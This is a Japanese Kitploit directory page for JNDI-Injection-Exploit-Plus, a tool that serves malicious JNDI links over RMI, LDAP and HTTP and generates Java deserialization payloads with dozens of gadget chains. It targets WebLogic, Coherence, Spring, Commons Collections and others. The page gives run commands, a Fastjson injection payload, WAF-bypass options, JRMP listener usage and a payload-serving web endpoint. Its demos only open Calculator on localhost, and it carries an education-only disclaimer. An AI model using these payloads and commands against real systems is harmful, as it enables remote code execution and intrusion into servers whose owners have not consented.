Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
JNDI-Injection-Exploit-Plus — 実際に動作するJNDIインジェクションリンクと、80以上のガジェットを用いたデシリアライズペイロードを生成します。RMI、LDAP、HTTPサーバーをサポートし、自動脆弱性テストを実施します。 | Kitploit
ツール/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

実際に動作するJNDIインジェクションリンクと、80以上のガジェットを用いたデシリアライズペイロードを生成します。RMI、LDAP、HTTPサーバーをサポートし、自動脆弱性テストを実施します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
8801142年前Kitploit レビュー済み

JNDI-Injection-Exploit-Plus

中文 README

説明

JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。

このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。

例えば、これは Fastjson の脆弱性 POC です:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

"rmi://127.0.0.1:1099/Object" を JNDI-Injection-Exploit-Plus で生成されたリンクに置き換えて、脆弱性をテストできます。

さらに、JNDI-Injection-Exploit-Plus を使用して、ysoserial のように base64/hex 形式のペイロード を生成することもできます。

JNDI-Injection-Exploit との違い

JNDI-Injection-Exploit は素晴らしいツールで、これはそのプラスバージョンです。

強化点

1. より多くの JNDI リモート参照ガジェット: (合計: 3)

  • JDK 6/7/8 をサポート

2. より多くの JNDI ローカル参照ガジェット: (合計: 4)

3. デシリアライゼーションガジェット (合計: 75)

補足: ysoserial よりも多くのガジェット (⬆️ ) があります。PR 大歓迎です! ^_^

4. ペイロードの生成とエクスポート

ysoserial と同様に。

Base64 または HEX 形式の出力でデシリアライゼーションペイロードを生成できます。

5. ラッパー

デシリアライズデータをラップするためのいくつかのラッパー。

ラッパー脆弱性の例
XstreamCVE-2021-39149
ApereoApereo 4.1 デシリアライゼーション RCE
JbossRemotingJboss Remoting ポートのアンシリアライゼーション
  • 例
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

クラス名を隠して WAF をバイパスします。

  • 例
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

参考: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

デシリアライズガジェットを返す Web サービス

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

補足: パラメータ wrapper と output はオプションです。

使い方

JNDI リンク

以下のように実行します。

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

ここで:

  • -C - リモートクラスファイルで実行されるコマンド。

    (オプション、デフォルトコマンドは "open /Applications/Calculator.app")

  • -A - サーバーのアドレス。IP アドレスまたはドメイン名。

    (オプション、デフォルトアドレスは最初のネットワークインターフェースのアドレス)

注意点:

  • サーバーのポート (1099, 1389, 8180) が利用可能であることを確認してください。

    または、run.ServerStart クラスでデフォルトポートを変更できます。

  • コマンドは Runtime.getRuntime().exec() にパラメータとして渡されます。

    そのため、コマンドが exec() メソッドで動作可能であることを確認してください。

    "bash -c ...." のような bash コマンドは二重引用符で囲む必要があります。

デシリアライゼーションペイロード

以下のように実行します。

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

ここで:

  • -C - リモートクラスファイルで実行されるコマンド。

    (オプション、デフォルトコマンドは "open /Applications/Calculator.app")

  • -D - デシリアライズガジェットのペイロード名。

  • -O - (オプション) デシリアライズの出力形式、デフォルトは base64

デシリアライゼーションエクスプロイト

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

例

JNDI リンク

ローカルデモ:

  1. 以下のようにツールを起動します。

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    スクリーンショット:

  2. ステップ 1 で生成された rmi://ADDRESS/remoteExploit8 のような JNDI リンクを、JNDI インジェクションで攻撃可能な脆弱なアプリケーションに注入したと仮定します。

    この例では、次のようになります。

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    このコードを実行すると、コマンドが実行され、

    シェルにログが出力されます。

その他の例: Test-JNDI-Injection-Exploit-Plus

デシリアライゼーションペイロード

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 出力結果:

インストール

JAR を取得するには、次の 2 つの方法のいずれかを選択できます。

  1. リリース から最新の JAR をダウンロードします。

  2. ソースコードをクローンしてローカルでビルドします (Java 1.8+ および Maven 3.x+ が必要)。

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

補足: ‼️ "java.rmi.xxx が存在しません" のようなエラーが発生した場合は、JAVA_HOME 環境変数を設定してください。

免責事項

すべての情報とコードは、教育目的および/または自身のシステムのこれらの脆弱性をテストするためにのみ提供されます。

ツールをダウンロード
ペイロード著者依存関係
Tomcat 8+ または SpringBoot@welk1ntrustURLCodebase が false でも、クラスパスに Tomcat 8+ または SpringBoot 1.2.x+ がある場合
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase が false でも、クラスパスに Tomcat と Groovy がある場合
Groovy (GroovyShell)@cckuailongtrustURLCodebase が false でも、クラスパスに Tomcat と Groovy がある場合
Websphere Readfile@cckuailongtrustURLCodebase が false でも、クラスパスに WebSphere v6-v9 がある場合
ペイロード著者依存関係
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblJRE のみ、脆弱性検出用
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
Gzip一部の yonyou インターフェースで Gzip を使用
DirtyWAF をバイパスするために大量のダーティデータを挿入